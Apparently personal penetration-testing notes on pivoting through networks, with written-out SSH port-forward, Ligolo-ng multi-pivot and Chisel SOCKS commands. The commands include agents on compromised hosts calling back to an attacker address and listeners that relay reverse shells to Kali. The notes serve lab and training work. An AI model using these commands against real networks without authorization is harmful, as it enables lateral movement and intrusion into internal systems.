# Local port forward - Local relative to SSH server, e.g., the pivot host - For example, if the target has mysql or http running on localhosts enable, use a local port forward to access on Kali - See [A Practical Guide to SSH Tunnels: Local and Remote Port Forwarding](https://labs.iximiuz.com/tutorials/ssh-tunnels) - Also see Ippsec take on Reddish for lost of port forwarding in practice ```bash ssh -L 8080:localhost:80 user@target_ip #expose http server running on target's localost on our localhost:8080 ssh -L 3306:localhost:3306 user@target_ip #expose mysql server running on target's localost on our localhost:3306 ``` ![[images/Pasted image 20260709181056.png]] # Remote port forward - Remote relative to SSH server, e.g., the pivot host - For example, use remote port forward to enable a target on a subnet behind a DMZ to access a http server, smb server, or listener we have running on Kali ![[images/Pasted image 20260709181114.png]] --- # Ligolo ## First pivot - Setup first interface and tunnel ```bash sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up sudo ip route add 172.16.1.0/24 dev ligolo; ip route | grep ligolo ``` - Start proxy ```bash sudo /opt/ligolo-ng-proxy/proxy -laddr 0.0.0.0:11601 -selfcert ``` - Start first pivot agent ```bash ./agent -connect 10.10.14.42:11601 -ignore-cert ``` - Start first tunnel ```bash ligolo > session #select session 1 ligolo > start --tun ligolo ``` ## Second pivot - Setup second interface and tunnel ```bash sudo ip tuntap add user $(whoami) mode tun ligolo2 && sudo ip link set ligolo2 up sudo ip route add 172.16.2.0/24 dev ligolo2; ip route | grep ligolo2 ``` - Setup second pivot agent on DC01 ```bash ./agent -connect 10.10.14.42:11601 -ignore-cert ``` - Start second tunnel - In some situations, we may need to add a listener that bridges the pivots ```bash ligolo > session #select session 2 ligolo > start --tun ligolo2 ``` ## Third pivot - Setup third interface and tunnel ```bash sudo ip tuntap add user $(whoami) mode tun ligolo3 && sudo ip link set ligolo3 up sudo ip route add 172.16.2.101/32 dev ligolo3; ip route | grep ligolo3 ``` - Start third pivot agent on DC02 ```bash ./agent -connect 10.10.14.42:11601 -ignore-cert ``` - Start third tunnel ```bash ligolo > session #select session 3 ligolo > start --tun ligolo3 ligolo > listener_list ``` ## HTTP & Revshell Port Forwards - Add listener to ligolo session when we want a revshell to reach back to a listener on Kali (through the pivot) ```bash ligolo > listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 ``` - Add listener to ligolo session when we want a box to reach back to HTTP server on Kali (through the pivot) ```bash ligolo > listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000 ligolo > listener_list ``` ## Pivot Port Forwarding - ligolo has a hardcoded CIDR (`240.0.0.0/4`) that is specifically used for redirecting a pivot host’s local ports to the proxy server - To forward the local ports of the host running the first Ligolo agent, I would assign an IP (e.g., `240.0.0.1`) from the CIDR block `240.0.0.0/4` to the `ligolo` interface, which the agent is connected to and so on - See [Triple Pivoting with Ligolo-ng | Jessar Qais | Blog](https://blog.jessar.dev/2025/02/13/triple-pivot/) ```bash sudo ip route add 240.0.0.1/32 dev ligolo sudo ip route add 240.0.0.2/32 dev ligolo2 sudo ip route add 240.0.0.3/32 dev ligolo3 `````` --- # Chisel Single Pivot ## Kali Setup ```bash ./chisel server -p 3333 --reverse # Edit proxychains4.conf sudo nano /etc/proxychains4.conf Add -> socks5 127.0.0.1 1111 ``` ## Pivot Machine ```bash ./chisel32 client <Kali_ip>:3333 R:1111:socks ``` ## Running commands at internal subnet ```bash proxychains4 -q nmap -Pn -sT <target_ip> ``` --- # Chisel Double Pivot ## Kali Setup ```bash ./chisel server -p 3333 --reverse # Edit proxychains4.conf sudo nano /etc/proxychains4.conf Add -> socks5 127.0.0.1 1111 Add -> socks5 127.0.0.1 5555 ``` ## Pivot One (M1) ```bash ./chisel32 server -p 2222 --reverse --scocks5 # After completing steps on all the machines ./chisel32 client <Kali_ip>:3333 R:1111:socks ``` ## Pivot Two (M2) ```bash ./chisel32 client <M1_ip>:2222 R:5555:socks ```